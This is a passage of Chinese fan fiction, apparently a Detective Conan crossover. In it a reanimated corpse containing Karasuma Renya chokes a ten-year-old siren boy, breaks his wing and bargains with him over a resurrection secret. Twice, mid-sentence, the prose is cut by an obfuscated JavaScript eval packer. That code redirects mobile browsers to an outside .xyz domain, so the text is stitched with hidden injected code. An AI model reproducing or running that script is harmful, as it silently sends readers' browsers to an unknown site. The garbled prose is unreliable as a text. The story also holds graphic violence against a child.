猩红眼的男人依然是一贯的讲究打扮,扣子系到最上面,翘着腿坐在飞鸟彻羽最喜欢的绒布沙发上,低沉的嗓音将塞壬的耳羽炸开,萦绕着的是耳边此起彼伏的呓语,带来不寒而栗的威慑感。 躁狂的魔力在空气中逸散开来,连带着其他在场者的心情都有些焦躁不安。 ……阿莲生气了。 飞鸟彻羽站在黑泽阵身前,下意识地回手攥住了他的风衣腰带,挡着不肯让他再靠近。 虽然没什么实际上的作用。 黑泽阵站在门口停住脚步,越过他的头顶,看见对方显然是早就把这里翻了个底朝天,在他们回来之前,好整以暇地烧了热水,从冰箱的角落里面找出可可粉,一点点抿着甜腻滚烫的热可可。 ——是飞鸟彻羽喜欢的那只墨绿色马克杯。 男人惨白的指尖有节律地一下一下点在身边木制的扶手上,像是伸手握住了飞鸟的心脏,于是连本能的心跳都被掌握,掐一下跳一次,一次一次越来越慢……越来越慢……直到被突然的握力捏得粉碎。 “……过来。” 飞鸟彻羽想要像是之前一样,挤出一个讨好的笑脸,可是身体已经被恐惧占领,完全脱离了主人的意志,变成了裹着稻草和衣服的木架子,只知道僵在稻田里,徒劳地看着眼前飞来飞去的鸟雀。 杯底磕在桌面,发出一声脆响。 “过来——别让我说第三遍。” 即使感受不到魔力,黑泽阵也能意识到情况的恶劣,打起十二分警惕,不动声色地一手摸枪,一手向前伸去,打算像是往常一样抓住飞鸟…… 飞鸟彻羽像是被烫到一样,突然吓了一跳,本能地去躲他的手,然后才后知后觉反应过来身后是谁似的扭过身来,一瞬间冰冷下来的双手握住黑泽阵。 这是他第一次拒绝自己。 不仅如此,还木楞楞的伸手要把他推出门外:“……黑泽,你回避一下好吗?我们……有点事情要处理。” 像是这里真正的主人一样,反客为主的男人闭口不言,但是谁不知道他在听,也许也在心里考虑着该怎么处理这件事。 飞鸟彻羽有点急了,开始真的上手用力……对方不配合的话,他用力也起不到什么作用。 黑泽阵不觉得这种时候他把自己支出去是个好主意,一双森然的绿瞳静静地垂下来,对上飞鸟彻羽慌乱到颤抖的眼睛,才突然意识到飞鸟彻羽是在求他: 出去吧,求求你了。 没有再用力作对的少年顺着他的力道,被赶出家门,飞鸟彻羽伸手摸住门把手,想要把门推上,却被一只从门缝里面的伸进来的手紧紧钳住胳膊,眼见着就要被扯出门外! 飞鸟彻羽哪能抵抗得了黑泽阵的力气,只好展开翅膀努力撑住自己,不被他抓出去。 黑泽阵没办法在他撑着翅膀的情况下强行把飞鸟彻羽扯出来——这样蛮力的下场可能就是把他的翅膀折断。 短短一瞬间被拒绝两次的黑泽阵睨着自己那双凌厉的眼睛,透过原来越来越窄的门缝,看见那双会说话的眼睛,也不知道是在安慰谁: 不用管,没关系的。 锁舌扣上,发出一声脆响。 周边的楼梯上是他们昔日和睦的“邻居”,全都站在楼梯上,无声地散发着压力,黑泽阵直到里面随便一个都是棘手的麻烦。 为首的是当初在游乐园里面见到的百加得:“请离开。” 黑泽阵故意磨蹭了一会,没能听到什么可疑的声音,只得被目送着离开。 组织不会真对飞鸟彻羽怎么样的,黑泽阵很清楚这一点。 最多就像是和之前一样,惹了点麻烦,关几天紧闭。 但是飞鸟彻羽的反应…… 啧。 不能找金酒,这种时候估计他自身都难保。 黑泽阵摸出手机,打出那个早早烂熟于心的号码,忙音响过几声,电话被接通了。 “香槟要死了。” * 飞鸟彻羽磨磨蹭蹭地迈着小步,十分有十万分的不愿意,硬着头皮在他的目光下慢慢往前挪动。 可是再慢也总有到头的时候。 小孩在沙发前面站定,低着头拒绝眼神交流,又开始控制不住地绞自己的头发,拔自己的羽毛。 直到坐在沙发上的男人男人实在“看不过去”,轻轻往前欠身,一手掐住小孩的下巴把他扯过来,一手用力撵着飞鸟彻羽眼角多出来的那一颗泪痣,直到把火辣辣的疼痛和殷红的红晕在眼角搓开。 男人好像格外欣赏飞鸟彻羽在自己面前怕得止不住抖,跑又没有胆子的鹌鹑似的样子,揉捏着小孩子特有的柔软脸颊,明知故问: “胆子大了,和谁签的?” 这种时候怎么回答都是错,承不承认都没有意义,飞鸟彻羽只好顶着自己一片空白的脑袋,僵直着身子,战战兢兢地开始装死。 在被手掌遮挡的手心里,一颗浑浊的眼球贴着飞鸟彻羽的侧脸,很亲昵的转了转。 原本低沉的人声转换成了空灵的塞壬语。 “不听话——那就杀掉再生一个新的好了。” 73.飞吧 浓郁的魔力几乎在空气中凝结,飞鸟彻羽就连正常站立都是难事,在巨大的压力中止不住地战栗,也有可能是因为生理性的本能的恐惧。 ……要不然还是干脆躺下算了。 飞鸟彻羽开始真情实意的考虑这个问题。 反抗的话,【母亲】会生气,顺从的话,【父亲】会生气——不论做什么好像都没办法全身而退的样子,要是现在躺下的话,能多舒服一分钟是一分钟。 但是他很快就没有这个纠结了。 “男人”被手套和衣袖包裹着的手臂紧紧钳制住飞鸟彻羽的脖子,将他整个提起,因为缺氧而导致的潮红攀上脸颊,还有声带被压迫后的怪异音色: “妈……妈……” 可惜面对长着和自己同一张,只是等比例缩小的脸,玛格丽特浮上心头的不是从未有过的母爱,而是汹涌着的憎恨和厌恶。 因为抬手的动作,腕部的衣料退下,露出短短一截被藤壶包裹的手腕,还有一只簇拥在中央,和飞鸟彻羽左眼如出一辙的金色眼球,无休止地转来转去。 人类的发声器官无法再像之前那样发出塞壬的声音,于是在被领结遮住的喉咙中,挤压出一串不伦不类的奇异怪叫。 幸好在场的另外一只塞壬也精通塞壬语,翻译了一下:小杂种。 飞鸟彻羽努力扯起嘴角,明媚的双眼死死盯着早在四年之前就已经死去,现在终于回来索命的女妖,挤出一个对于塞壬来说完完全全是威胁的,甜蜜的笑容。 “如果……如果我是杂种……那像您这样……人话都……不会说……也不会变腿……只能在地上爬行……岂不就……是纯种的畜生啦。” 显然这种贴脸挑衅的话语即使死了四年也无法平静,镶合体巨大的握力几乎要把飞鸟彻羽的颈骨捏碎,密密麻麻的藤壶以肉眼可以观测到的速度移动,几乎要顺着接触到的皮肤,攀上飞鸟彻羽的脸颊,然后迎接新的家人。 “不,不要这样,麦米。” 另一道老迈嘶哑的人声从同一个喉咙里挤出来,丝毫不顾及自己死于对方之口,依然用最亲密的昵称呼唤着心爱的妻子: “我们不应该再放他进来争夺身体的控制权。” 浑浊的人类眼球浮上颧骨,男人原本英俊的面容瞬间变成了长着三只眼的,可怖的怪物,死死盯住害死自己的罪魁祸首,想要将他拆骨扒皮的恨意被理智勉强压制了下来,成为了劝慰妻子的温言细语。 可是玛格丽特并不领情,比起没有真正伤害到自己的小儿子,她更恨恶心的老克里斯蒂安,一声尖锐的咆哮,开始争夺这具尸体的控制权。 飞鸟彻羽被抓着脖子,像只被洗净晾晒在晾衣绳上的棉花娃娃,一边被飓风摇晃地东倒西歪,一边还要被迫近距离围观自己死去父母互殴现场。 ……真是的,也太虚伪了吧。 ……嘴上爱来爱去的,结果动起手来半点不留情嘛。 ……相比之下还是妈妈好些,有话直说,至少坦荡。 争执间不知道是谁先松了手,飞鸟彻羽的身体被大力甩了出去,即使早有心理准备做了防护措施,也用翅膀包裹着自己的身体,头还是不受控制的狠狠磕在桌角,巨大的冲击力将茶几撞出去一截,地板和桌腿摩擦,发出一声刺耳的怪叫。 玛格丽特被分了心,老克里斯蒂抓住机会占据了这个身体。 原本空气中带着海腥味的魔力一扫而空,而□□腐烂的尸臭味更浓了些。 就是现在! 飞鸟彻羽顾不得磕到头之后剧烈的恶心和眩晕,原本在鬼屋积攒下来的魔力涌出喉咙,久违的言灵宣告了他的归处: 【死吧!】 * “别想抵抗!” 接到琴酒电话的匹斯克迅速赶到,跟在身后的保镖举起一排黑洞洞的枪口,簇拥着两鬓斑白的男人上前。 从一次次任务中磨练出来的经验告诉琴酒,里面全都是组织培养的专业杀手,隶属于行动组。 ……没有一个魔法师。 啧。 和【阿莲】和【香槟】有关的事,普通的杀手能派的上什么用场?! 琴酒双手举起,以确保自己不会造成威胁: “……你们不进去?” 就一点不担心银色子弹的研究成果? 为首的男人像是很诧异他会开口发问,先瞄了琴酒一眼,然后才慢吞吞地开口,端的好一副胜券在握,好整以暇的样子。 “不用,BOSS隔段时间就会有这么一次。” 毕竟回来的不是真正的BOSS,而是一个穿着他年轻皮囊的怪物。 这个怪物把莫利诺家和组织当初随行的三个部门都吃了个干净,就剩下一个香槟,被他提着翅膀抓回来,说是自己的战利品。 光是这样还不够,腆着一张脸,恬不知耻地就动了鸠占鹊巢的主意,还掩耳盗铃的打起了组织的主意。 把所有人当傻子。 所有先前和BOSS相处过的任何一个人,在见他的第一面就发现了这个愚蠢的玩笑,但是所有人都心照不宣地选择了佯装不知。 为什么要说? 反正BOSS已经死了,拆穿他又能怎样呢?难道现在失去了整个魔法组和大半行动组的组织,还有能处理他的能力吗? 何况这个愚昧的怪物又不要求什么特权,只要哄着他,给他个“BOSS”名头,就会乐此不疲地运用自己的魔力,为组织当牛做马。 ——“BOSS”是组织的奴隶。 至于偶有发生的失控问题…… “香槟知道该怎么处理。” 只要吧香槟丢给他就好了,香槟怎么会有事呢? 组成他的每一个部件,父母,兄长,甚至是早就死去的那位……每一个都应该对他抱有相当程度的好感,不论如何香槟都不会有事的。 并不是匹斯克的纸上谈兵,过往的一次次经验都指向于此,从未有过差错。 ……神经病。 琴酒眼见着他拄着拐杖,似乎真的打定主意,要在这里耐心等下去。身边的人开始熟视无睹地清场,为接下来的扫尾工作提前做准备。 “跟我们走一趟吧。” 关于五年前“琴酒”的任命,相信他在审讯室内会愿意吐得一清二楚。 琴酒保持双手一直在对方视线中的姿势,上了停在路边的黑色小轿车,拉开车门的瞬间,刚刚从飞鸟彻羽手腕上硬薅下来的秘银手链顺着他的袖口划下,经过黑风衣的内壁滚落在草丛中,被车尾气狠狠地甩在了身后。 不一会,一只循着血腥味的乌鸦在众目睽睽下抓起手链,扇动着翅膀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14449957|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,将栩栩如生的槲寄生捡走,扩充自己的亮晶晶宝库。 * 能杀你一次,就能杀你第二次! 一时间失去了主人的身体像是融化了的泥俑,大股大股的尸水冲着稀烂的肉块流淌下来,露出里面被包裹着的圆润眼球,还有被粘稠的液体冲开的藤壶。 显然剩下的组件“话语权”都难分伯仲,一时半会没办法达成共识,在此期间身体就只好进行最本能的行为:朝着房间里唯一的活物流动,“邀请”他成为自己的一份子。 遭到重创的伤口涌出鲜血,顷刻间染红了飞鸟彻羽苍白的发丝,原本当作保护垫的翅膀现在疼得厉害,但还勉强可以使唤,应该是只有骨裂,但还没有骨折。 眼前一阵阵的发黑,思维也变得断断续续,飞鸟彻羽混沌的大脑感觉在那次重创中死机了,放出老式电视机没信号时候的雪花屏。 疼……死了。 但还是要拿个主意,在藤壶把自己也寄生之前。 除去根本不知道名字的其他组件:强大愚昧,癫狂到根本没有办法交流的母亲,卑鄙狡猾,却有杀身算计之仇的父亲,还有…… 【乌丸莲耶】 直到发声的时候,飞鸟彻羽才被自己惨不忍听的声音吓了一跳。 几乎已经失声了,对远远超过自己魔力上限的对象使用言灵的后果,就是现在这样,稍稍企图调动一下喉咙,就像是针扎一样的痛苦。 乌黑的藤壶泡着粘稠的眼球浴,缓慢而坚定得向着飞鸟彻羽移动,热情地欢迎着这个即将到来的新家人。 再不出来真要交代在这了。 【乌丸……咳……” “听到了。” 液体回流,退潮一般,重新汇聚成一个人形,这个身体短暂的迎来了自己真正的主人。 “……好慢。” 死后还能掌控自己身体的感觉实在奇妙,从彼岸爬回来的亡者当然不会介意飞鸟彻羽无伤大雅的抱怨。 “没办法,我没有魔力,只是普通人。” 怎么挣得过玛格丽特和克里斯蒂安呢? 原本腐臭的味道淡了些,但还是在鼻尖彰显着自己的存在感。 已经死了四五年的尸体,该烂的部分早就应该烂完了,之所以可以这么“持之以恒”地散发味道只能说明一点——在这期间,【阿莲】都没有中断壮大自己的脚步。 实验室里面的尸体,估计都被他“处理”掉了吧…… “玛格丽特什么时候可以恢复意识?” 声源时远时近,听不真切究竟在什么位置。 飞鸟彻羽累极了,轻轻合上眼睛,在心里算了好久才重新积攒出来说话的力气:“大概……三小时。” “克里斯蒂安呢?” 他被我打碎了,重新拼起来要更久一点。 “二十个小时左右吧。” 男人点点头,即使知道飞鸟彻羽现在看不见,有力的虎口重新扣住他的喉咙,像是毒蛇一样绞住他的命脉: “要是他们两个先清醒过来,香槟会很麻烦的吧?” “所以不如趁着他们两个不在的空挡,让我自己吃独食怎么样?有香槟帮忙,我应该也可以掌控自己的身体?” “——对于香槟来说,被陌生人吃掉,总比被爸爸妈妈吃掉好过一点吧?” 74.飞吧 飞鸟彻羽垂下眼睛,看着眼前那张俯视自己的脸,欣然同意: “好啊,要不然先尝尝看吧?” 塞壬牵起对方冰冷的手,沾了一点自己侧脸的血迹,送到对方嘴边,很诚恳的样子,带着他想做坏事时候特有的循循善诱。 “反正也打不过,不如干脆投降算了,主要是反抗除了多挨顿揍以外也没什么实际性的作用——阿阵教的:)” “……他还真是教了你不少东西。” 男人把血迹擦在飞鸟彻羽衣领,指尖碾了碾,确保他不能借着这一点点鲜血掀起什么风浪。 香槟之前对老克里斯蒂安使用言灵所调动的魔力,远远超过他自身拥有的魔力总量——这还是考虑到他不久之前才摘下束缚器的前提下。 乌丸莲耶很笃定:“你是镶合体。” 对于生前没有魔力的自己而言,但凡是有一丁点魔力的个体加入,竞争力就会排在自己之前——他是疯了才会平白多给自己添一个竞争对手。 只有镶合体才能同类间吃来吃去,并且把对方的魔力转化为己用,不会死也不会残,理论上只要一直增加组件,就不会有魔力上限。 弊病就是自诞生以来如影随形的人格分裂,如果没有足够脱颖而出的手段,就不得不为了短短一瞬的胜利,一直和其他组件争夺身体控制权,又或者所有人都浑浑噩噩,作为集群意识保持最低限度的智能。 ——香槟是镶合体,这点同类之间绝对不会认错。 本来所有人都对此持肯定态度,从玛格丽特的记忆来看,他也确实是死了一次,直到签署“银弹计划”,差点要了他的命。 在和香槟相处时,自我意识短暂浮出水面的时候,乌丸莲耶产生一个更大胆的猜测:会不会,这就是完全的复活呢? 【我们既是天使,又是恶魔,因为我们企图逆转时间的洪流,让死人复生】 完全有可能不是吗? 老克里斯蒂安实现了重返青春,宫野夫妇用科学实现了青春永驻,并使莫利诺的技术有推广的可能,那么踩着尸山血海唯一活下来的香槟,再往前一步也不是不可能。 ——在【苏生】之前,所有人也觉得青春永驻是匪夷所思。 乌丸莲耶死的太久了,久到生前所有的记忆都有在飞速模糊,先前的所有人和事都在一点一点变得陌生,好像是上辈子的事情了。 他认识香槟比所有人预想的都要早,早到香槟才刚有记忆,喜欢一起挤他的轮椅开始,那个时候乌丸莲耶是他父亲的病人。 或者说是客人。 莫利诺家族世世代代经营奢侈品过活,魔法一直也归类在奢侈品,任何一个道具都价格不菲,被更稀缺的巫师加工过之后,专门卖给有钱脑子还不好的冤大头。 此前乌丸莲耶像是所有坚信“科学”的新人类一样,对这种奇技淫巧嗤之以鼻,只是考虑到特殊需求,才在组织里组建了一支纯粹有巫师组建的队伍。 直到大概四十年前,老克里斯蒂安研究出了一项骇人听闻的魔法,专门骗他们这种半边身子入土的老家伙们的钱——只要支付得起高昂的价格,抛弃人性和良心,常驻在莫利诺的城堡,就可以买到【青春】。 衰老是顽疾,而青春当然是药到病除的良方。 乌丸莲耶意识到自己之前对魔法的认知太浅薄了。 也是在那里认识了香槟,那时候还叫莱瑞安。 彼时香槟还不会变出双腿走路,只好被家里的人偶抱来抱去,可能是因为乌丸莲耶是这么多客人中唯一一个坐轮椅的,喜欢带着他飙轮椅的缘故,香槟偶尔会带来各种奇怪的东西找他玩。 某一天,香槟不知道从哪里弄回来一只死鸟,看起来像是只海鸥,羽毛还算漂亮,但是身体已经有点僵硬了,死了有段时间又没有太久的样子。 “阿莲,你会做标本吗?” 彼时乌丸莲耶正在处理组织的文件,没时间应付他,所以实话实说:“不会。” 香槟点点头,征用了他的一角办公桌,用来堆放从书房搬来的魔法书,还有各种花花绿绿的药材和古怪仪器,开始攥着笔写写画画。 乌丸莲耶被越摞越厚的书页和手稿一点点侵蚀办公空间,直到被挤在一个小角落里面,才不得不停下来看他又在搞什么鬼。 小孩子的控笔能力很弱,香槟想得又快又多,手速跟不上,于是落在纸面上就是各种抽象赛狗爬一样的……姑且算是研究结果吧。 虽然乌丸莲耶总觉得他可能更像是发明了一种新的文字。 香槟才不管别人能不能看懂,觉得差不多了就打算上手试一试,先是指使人偶将珍珠翡翠青金石研磨成粉末,然后更是半点不客气地霸占了他的办公室,支起坩埚丢进五花八门的材料熬制药水。 最后药水和宝石粉末混合在一起,在地上画出来一个直径两米的正圆形魔法阵,香槟把死海鸥摆在最中间,嘴里还在不停的嘀嘀咕咕。 “……这能起到什么作用?” 乌丸莲耶被苏生的时候已经太老了,老到就像是一棵枯树,只能躺在病床上带着氧气面罩,靠着营养液过活,长期卧病在床的结果就是双腿肌肉萎缩,没办法完全摆脱轮椅行动。 小孩眨眨眼睛:“大概就是……它自己会把自己做成标本?” 他也是第一次实验这个新魔法,坐在桌边有些不确定的轻轻摆着尾巴,决定看看结果再确定哪里还有改进的空间。 直到魔法阵的光芒慢慢减退了下去,所有的药剂都汇入到最中心消失不见,中心的尸体依旧是一动不动。 ……不应该啊,按照最基本的能量转换原则,魔力也算是能量的一种,所以也不会凭空产生或者消失,既然输入了魔力,就算是完全没有办法运行,至少也应该发点光吧? 突然在最中间的海鸥身体拍拍翅膀,身体剧烈地抽搐了起来,每一块肌肉都像是活了过来,像是一辆失控的飞机,把屋内搅得纸片纷飞,最后跌跌撞撞地从窗口挤了出去。 “阿莲,怎么办啊?” 香槟摆摆自己的尾巴,很无赖地暗示自己现在行动不便,“放着不管的话,会造成麻烦的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14466595|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧?” 乌丸莲耶只觉得塞壬的脑子真是有病,拍拍自己干瘪的大腿,没好气道:“叫你的人偶去好了。” “那还是算了吧,”一旁的人偶行动僵硬,像是被抽了帧的动画人物,能追得到才怪,“反正基因没有改变,也不携带病毒什么的,不存在对环境造成什么负担,只输入了一点点魔力,耗尽之后就会像其他尸体一样,自然腐烂了。” ……也许那只海鸥后来根本没有腐烂,而是阴差阳错被复活之后,被香槟偷偷放走了呢? 根据玛格丽特的记忆,香槟那时候确定是死掉了,被凶残的女妖撕开了喉咙,绝对没有假死脱身的可能。 这件几乎已经被埋没在记忆深处的小事突然涌上心头,乌丸莲耶开始把它和香槟联系起来,后知后觉地感觉,自己可能放过了什么巨大的线索: 除了会再次死亡以外,看起来完全没有副作用,或者说副作用几乎可以忽略不计。 这和完全的复活有什么区别?! 一想到这里,呼吸就没有办法控制的急促起来:“……你是怎么解决同类之间的竞争问题?” 冰冷有力的手抓上飞鸟彻羽残破的翅膀,找到刚刚被磕得骨裂的骨头,用力攥住。之前被琴酒仔细打理的浓密柔顺的羽毛就被从指缝间挤出来,五指深深陷进肉里,引发塞壬一声抑制不住的悲鸣。 小鸟爱漂亮,最宝贝自己的翅膀和尾巴,平时碰都不会允许别人碰,只有实在被哄好了,开心到翘尾巴尖尖的时候才会屈尊免贵似的给旁边的人摸一小下。 但是鸟类的翅膀也很脆弱,为了飞行要专门做减重考虑,作为支撑的骨头内部大多中空,弊端就是抗击打能力大大减弱。 想对付十岁的小孩很容易。 尤其是现在没什么抵抗手段的飞鸟彻羽更容易,只要另一只小臂用点力气,整个撵着他的脊背,他就只有原地扑腾的份。 原本受创的翅膀经不起这样粗暴的对待,骨骼被掰断的声音发出一声又轻又脆的呜咽,在飞鸟彻羽的鼓膜炸开,将理智搅得一片空白。 “告诉我,好孩子,你是怎么想到的?” 不是魔力特质的问题,香槟的魔力总量远远比不过玛格丽特,连克里斯蒂安的零头都比不上,而魔力的洁净程度只能相对影响施术的效果,不是必然条件。 ——也就是说,这和“银色子弹”一样,同样是可以复制的。 乌丸莲耶时间有限,下一次再有机会出来不知道是几年十几年甚至是几十年之后——在这之前他们会不会一起被其他更强大的镶合体吞噬都是另一回事。 那几瓶老酒的野心他也心里有数,说不定发现自己还有恢复意识的可能,会千方百计地想办法把自己摁下去,衷心的早就当初都被自己杀干净了,期盼剩下的能在利益之前选择他们最好早就死掉烂透的BOSS,那才是痴心妄想。 “好孩子,你知道的,我想要的东西总有办法弄到手,少浪费彼此的时间,你也能少吃点苦头——你从小就聪明,这点道理肯定自己一想就能明白,是不是?” 75.飞吧 塞壬的脑回路和人类比起来实在很不正常,具体体现在飞鸟彻羽疼得耳羽都在颤抖,盯着眼前那对激动到颤抖的瞳孔,还有心思在想东想西。 ……真现实啊。 明明之前感觉和阿莲相处的还算不错,结果现在一涉及到自身利益就立马翻脸不认账了。 成年人类的世界还真是残酷。 不过飞鸟彻羽扪心自问也没资格指责别人,因为他自己也是这样,怪不得阿阵之前总说塞壬虚伪。 好吧,大家都是王八蛋,只有阿阵好。 “我没……办法,”飞鸟彻羽实话实说,“就算我真的说了你也不会相信的吧?” 本该如此,因为他们这种伪君子,乌丸,父亲,自己,本质上是完全一样的:不说就是不配合,说了就是在耍诈——说到底一样的烂,谁都蒙骗不了谁。 男人冷笑一声,作势要手上用力,扯下塞壬折断的羽翼。 没关系的,就算是两只翅膀都被剪掉,也不会影响活命:“那你就没有存在的价值……” “我有,你明知道的。” 飞鸟彻羽笃定地看着他,耳羽在疼痛下止不住的颤抖:“那么多人等着我的骨血去给他们续命呢,而你现在已经不是BOSS了,你已经死了。” “阿莲,你是在虚张声势,自欺欺人。” “克里斯蒂安是个蠢货,但是作为父亲他也不是一点都没教给我东西:生前是客人,死后是商品。” 不论生前是多么伟大雄狮,死后一样都会被鬣狗秃鹫分食,最后连零星的碎肉也被虫子啃食,白骨被土壤分解,成为别人勾心斗角的胜利奖杯。 “不知情者连坐在赌桌上的资格都没有,知情者无不心照不宣,对你的遗产虎视眈眈——你已经死了,阿莲。生前拥有的一切都不会成为你的赌资,只会成为你的催命符。” 这个回来蠢货骗不过任何一个脑子正常,哪怕仅仅只是听说过“BOSS”的人,偏偏居然就这样在所有人的眼皮子底下没有一个人“发现”,一想到这种滑稽的事实,飞鸟彻羽都要忍不住笑出声来。 ——所以他对黑泽阵说组织完蛋了。 不是因为什么邪不压正的滑稽童话模板,就算真是这样又怎么样呢?组织这种体量的倒塌绝非一日之功,阿阵能活到那一天吗? 像这样的庞然巨物,从外界是绝对没有可能真正瓦解的,百足之虫死而不僵,只有内部的掣肘才会导致分崩离析。 就像是梧桐树,挺立的站在那里,可是第二年的时候突然就不长叶了,扒开完好的树皮才能发现:根已经烂掉了,树心已经被虫掏空了。 组织的核心已经开始腐烂了,也许是在BOSS去世的时候开始,也许是在更早之前。 “我才是在这场博弈中掌握话语权的那一方,”飞鸟彻羽不在琴酒面前,感觉没什么要装乖的必要,毫不忌讳露出自己换好的獠牙,攥住胜利的关键分毫不让,“不是谁拳头大谁讲得就有道理,这点阿莲自己心里也很清楚的吧?” 听阿阵的话,和听组织的话是两码事。 飞鸟彻羽没理气都壮,得理更是不饶人,一点没有对方伸手就能拧断自己脖子的恐惧和敬畏,满不在乎地蹬鼻子上脸: “要不是我刚刚叫了你的名字,现在在和我对话的人说不定是谁呢。” 塞壬骨子里面喜欢愚弄人类的恶劣因子在噼叭作响,飞鸟彻羽疼得颤抖,但这不影响他笑得像一个天使,对着男人露出一个甜腻的微笑。 “阿莲,我是真的很好奇,为什么你在自己一无所有的情况下,还能这么理直气壮地要求这个要求那个。” 飞鸟彻羽歪歪头,像是任何一个同龄的十岁人类小孩,眼睛直勾勾地盯着他,嘴里吐出刻薄的话:“哦~我知道了——虚张声势,真可爱,像是下雨天马路旁边被淋得湿透,无家可归,还被路人踢了一脚的小狗,为了掩饰自己的黔驴技穷,夹着尾巴对所有人狺狺狂吠。” “小型犬特有的颅内高压。” “——真可怜。” “反正除了爸爸妈妈你们其他人基本都是没有魔力的普通人,所以竞争力都差不多吧?我能叫你出来,也能这样叫别人的名字,根本没什么区别——所以现在,先分一点魔力给我,证明一下自己的诚意?” 求人就要有求人的态度。 乌丸莲耶让他气得肺疼,虽然他死后身体早就烂透了,估计现在也没有肺部,但是不得不承认香槟说得对。 玛格丽特那个疯子魔力充沛,又有言灵傍身,当然没有这种顾及,不加节制填入了太多组件的后果,就是抽签想要轮到自己说不定都要下辈子。 自己死了也有的是人争先恐后地愿意撑起这张皮囊,香槟被自己杀死相当于断了不知道多少人的活路,“阿莲”很有可能会被当成不稳定因素处理掉。 但是当然不可能就这样简简单单的交出话语权: “难道你会期望着他们在已经损失利益的情况下,放弃另一端的利益,为一个死人报仇吗?” ……阿阵会的吧? “那你掐死我好了。” 飞鸟彻羽半点不给他面子:“其实根本不用说这么多,想杀的话直接动手就好了,话说多了显得很没气势。” 乌丸莲耶有些难以抉择了,被别人牵着鼻子走,拿捏住了要害是实在不能忍受的事情,不论是香槟也好,另外的其他人也罢,但是能坐在这个位置上,也算是能屈能伸,威胁不成立马转变了风向,企图对着年纪小,好哄骗的小孩打感情牌。 “……好孩子,我之前对你怎么样?” “挺好,”飞鸟彻羽实话实说,“比家里面的长辈对我好。” “那就是当时对你最好的,是不是?” 这点也算是事实,没什么不好承认的,飞鸟彻羽点点头。 百岁死者趁热打铁,哄骗十岁小孩:“我们之前那样,你开不开心?” 飞鸟彻羽点点头,乌丸莲耶确实是个挺有意思的老头,也教会了他不少东西。 “我们恢复成之前那样的关系,双赢如何?” “仔细想想我们完全没有针锋相对的必要——香槟和组织之间最核心的矛盾,就是你不想出卖自己的研究价值,给别人当血包,而如果世界上只有一个人不会对‘长生’动心,那一定是已经死而复生的我……” “好孩子,你这么聪明肯定也能想明白,就算是现在压我这个死人一头,又有什么用呢?没办法获得身体掌控权的我更没办法掌控组织,也依然改变不了你要作为药物的事实,就算是给你我现在全部的魔力,你能侥幸脱离组织,难道你这样的‘长生不老药’在哪里会有容身之所?” “除了我谁还能为你提供庇护?就算是你的那个小朋友,年轻的时候对着‘青春’嗤之以鼻,谁一定能保证等他日薄西山的时候,对着你这张年轻的脸不会动心思?” 乌丸莲耶活了一百多岁,他太了解人性了:“都是人,是人就会有贪念,就会有私心,就会撒谎骗人,就会出尔反尔。” 作为自己谈判的筹码,乌丸莲耶好不愧疚地戳飞鸟彻羽的痛楚:“克里斯蒂安不也是这样吗?他那是时候说什么来着?你是他最好的孩子,想要让你继承家产是不是?可是到了后来,不一样是想要杀掉你换一个更好的?” “但是好孩子,你更聪明,所以活下来了,从那时候起就已经清楚了吧?” “二十岁的时候做的保证,二十五岁的时候可能就会过期,人类就是这样不长情的动物——我们都是一样的。” 人性是最经不起考验的东西。 “可你的药用价值对我没有什么作用,同样是从三途川爬回来的我一样会遭到有心人的觊觎,只有我们才是完全站在同一立场,永远不会背叛。” 眼见着香槟在想什么东西,男人循循善诱,趁热打铁:“或者要是还不放心,我认你做继承人怎么样,把我名下的财产划给你三分之一?三个小时应该来得及签合同。” “你说得对。” 飞鸟彻羽点头表示赞同:“所以现在想要我的秘方的话,不单要给我魔力,还要给出你名下三分之一的财产份额。” 虽然很想和他扯扯皮抬高一点,阿莲这么有钱,多一个点就能多到手好几个零,但是飞鸟彻羽知道不能再多要了,再多要他该翻脸了。 平心而论乌丸莲耶说的很有诱惑力,可行性也比自己冒险逃离组织要高太多,凭借飞鸟彻羽对他的了解,也确实舍得拿出这部分利益做交换而不至于翻脸,但是卸磨杀驴的道理飞鸟彻羽也懂,并且确定乌丸莲耶绝对是能做出这种事情来的人。 因为如果是飞鸟彻羽自己坐在这个位置上,他就会这么做,本质上来讲他们是完全的一类人。 可是一旦自己选择站队,选择依附他的自己可就没什么话语权了,他成功坐回自己的位置,想必紧接着要清理掉的就是当初的知情人。 ——乌丸莲耶是挺好的,主意也很有可行性和诱惑力,但是和阿阵比起来就不那么好了。 “三个小时做财产分割是不是有点太赶了?现在行动的话说不定还来得及?” 男人深吸一口气,给自己平复心情,以防自己不会一时上头掐断他的脖子。 “好孩子……太贪心,什么都要的后果,往往就是两手空空,什么都得不到。” “听不懂,我只知道掌握了稀缺资源就是掌握定价权。” 飞鸟彻羽从不强买强卖,他确实贪心,但并不认为这算是什么缺点,聪明人想要的多也正常:“你可以不答应,我也可以叫出别人,和别人谈判——这么多人总不至于一个愿意点头的都没有吧?” “至少目前而言,只剩下我一个言灵了,你找不到别人,我想要的有钱人倒是一抓一大把。” 飞鸟彻羽确定他不会有干脆掐死自己的果决的,不是因为优柔寡断或者对自己念旧情,而是因为自己在他心中的估价,根本不值得他拿他自己的未来去冒险。 “……这是我的身体,别人也能像我这样支配的这么自如?” “反正妈妈支配起来就很顺手。” 